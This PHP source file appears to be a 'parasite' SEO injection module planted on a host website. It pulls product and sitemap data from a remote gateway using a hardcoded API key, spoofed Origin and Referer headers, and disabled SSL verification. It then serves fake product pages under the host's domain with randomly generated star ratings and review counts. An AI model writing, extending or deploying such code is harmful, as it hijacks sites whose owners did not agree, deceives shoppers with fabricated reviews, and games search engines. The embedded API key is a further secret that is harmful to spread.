<?php

date_default_timezone_set('UTC');

if (!defined('USE_CURL')) {
    define('USE_CURL', false); // true=使用curl, false=使用file_get_contents
}

$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
$protocol = "https://";
$site_domain = $host;

$document_root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '/var/www/html';
$script_path = str_replace($document_root, '', __DIR__);
$base_parasite_url = rtrim($protocol . $site_domain, '/');
$GLOBALS['base_parasite_url'] = $base_parasite_url;


$default_data = array(
    'brand' => 'Generic Brand',
    'rating' => array(
        'score' => number_format(rand(40, 50) / 10, 1),
        'count' => rand(15, 150)
    ),
    'currency' => 'USD',
    'default_image' => 'https://cdn.suruga-ya.jp/database/images/no_photo.jpg'
);


define('API_BASE_URL', 'https://gateway.qrstabcd.com/api/parasiteData/getParasiteData');
define('API_KEY', '881c355b2599f4d6e2918f89ad79388cf7fe87115fe135d0d06ecad2a47e39a5');
define('API_DOMAIN', 'gateway.qrstabcd.com');
define('ASITE_DOMAIN', 'https://berendisigorta.com.tr');
define('ID_OFFSET', 94296);
define('URL_TEMPLATE', 'products/{title}/{id}');

function getParasiteData($productId = null) {
    $url = API_BASE_URL;
    
    $needTitle = strpos(URL_TEMPLATE, '{title}') !== false;
    
    $params = array();
    if ($productId) {
        $params['product_id'] = $productId;
    }
    if ($needTitle) {
        $params['title'] = 'true';
    }
    
    if (!empty($params)) {
        $url .= '?' . http_build_query($params);
    }
    
    if (USE_CURL) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            'X-API-Key: ' . API_KEY,
            'Host: ' . API_DOMAIN,
            'Origin: ' . ASITE_DOMAIN,
            'Referer: ' . ASITE_DOMAIN . '/',
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        ));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        
        $response = curl_exec($ch);
        curl_close($ch);
    } else {
        $headers = array(
            'X-API-Key: ' . API_KEY,
            'Host: ' . API_DOMAIN,
            'Origin: ' . ASITE_DOMAIN,
            'Referer: ' . ASITE_DOMAIN . '/',
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        );
        $context = stream_context_create(array(
            'http' => array(
                'timeout' => 10,
                'header' => implode("\r\n", $headers)
            )
        ));
        $response = @file_get_contents($url, false, $context);
    }
    
    if ($response === false) {
        return null;
    }
    
    $result = json_decode($response, true);
    return isset($result['data']) ? $result['data'] : null;
}

function getSitemapData() {
    $url = 'https://' . API_DOMAIN . '/api/parasiteData/getSitemapData';
    
    // ???????????????
    $needTitle = strpos(URL_TEMPLATE, '{title}') !== false;
    if ($needTitle) {
        $url .= '?title=true';
    }
    
    if (USE_CURL) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            'X-API-Key: ' . API_KEY,
            'Host: ' . API_DOMAIN,
            'Origin: ' . ASITE_DOMAIN,
            'Referer: ' . ASITE_DOMAIN . '/',
            'Content-Type: application/json',
            'Accept: application/json',
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        ));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        
        $response = curl_exec($ch);
        curl_close($ch);
    } else {
        $headers = array(
            'X-API-Key: ' . API_KEY,
            'Host: ' . API_DOMAIN,
            'Origin: ' . ASITE_DOMAIN,
            'Referer: ' . ASITE_DOMAIN . '/',
            'Content-Type: application/json',
            'Accept: application/json',
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        );
        $context = stream_context_create(array(
            'http' => array(
                'timeout' => 30,
                'header' => implode("\r\n", $headers)
            )
        ));
        $response = @file_get_contents($url, false, $context);
    }
    
    if ($response === false) {
        return null;
    }
    
    $result = json_decode($response, true);
    return isset($result['data']) ? $result['data'] : null;
}
function buildProductUrl($productId, $productTitle = null) {
    $template = URL_TEMPLATE;
    $baseUrl = $GLOBALS['base_parasite_url'];
    
    $displayId = (int)$productId + ID_OFFSET;
    
    if (strpos($template, '?') === 0) {
        return $baseUrl . '/' . str_replace('{id}', $displayId, $template);
    } else {
        $url = $template;
        
        if (strpos($template, '{title}') !== false) {
            if ($productTitle) {
                $cleanTitle = cleanTitleForURL($productTitle);
                $url = str_replace('{title}', $cleanTitle, $url);
            } else {
                $url = str_replace('{title}', 'shopdetail', $url);
            }
        }
        
        $url = str_replace('{id}', $displayId, $url);
        return $baseUrl . '/' . $url . '/';
    }
}

function cleanTitleForURL($title) {
    if (empty($title)) {
        return '';
    }
    
    $title = strtolower($title);
    $title = preg_replace('/[^a-z0-9\s-]/', '', $title);
    $title = preg_replace('/\s+/', '-', $title);
    $title = preg_replace('/-+/', '-', $title);
    $title = trim($title, '-');
    
    if (empty($title)) {
        $title = '';
    }
    
    return $title;
}

function parseProductId($requestUri) {
    $template = URL_TEMPLATE;
    $displayId = null;
    
    if (strpos($template, '?') === 0) {
        $query = parse_url($requestUri, PHP_URL_QUERY);
        parse_str($query, $params);
        $paramName = trim($template, '?={id}');
        $displayId = isset($params[$paramName]) ? $params[$paramName] : null;
    } else {
        // 首先尝试路径解析
        $path = parse_url($requestUri, PHP_URL_PATH);
        $segments = explode('/', trim($path, '/'));
        $templateSegments = explode('/', $template);
        
        // 处理包含 {title} 的模板
        if (strpos($template, '{title}') !== false) {
            // 查找 {id} 在模板中的位置
            foreach ($templateSegments as $index => $segment) {
                if ($segment === '{id}' && isset($segments[$index])) {
                    $displayId = $segments[$index];
                    break;
                }
            }
        } else {
            // 原有逻辑
            foreach ($templateSegments as $index => $segment) {
                if ($segment === '{id}' && isset($segments[$index])) {
                    $displayId = $segments[$index];
                    break;
                }
            }
        }
        
        if ($displayId === null) {
            $query = parse_url($requestUri, PHP_URL_QUERY);
            if ($query && strpos($query, 'shopdetail/') === 0) {
                $queryPath = trim($query, '/');
                $querySegments = explode('/', $queryPath);
                
                $shopdetailIndex = array_search('shopdetail', $querySegments);
                if ($shopdetailIndex !== false && isset($querySegments[$shopdetailIndex + 2])) {
                    $displayId = end($querySegments);
                }
            }
        }
    }
    
    // 减去偏移量得到真实ID
    if ($displayId !== null && is_numeric($displayId)) {
        return $displayId - ID_OFFSET;
    }
    
    return null;
}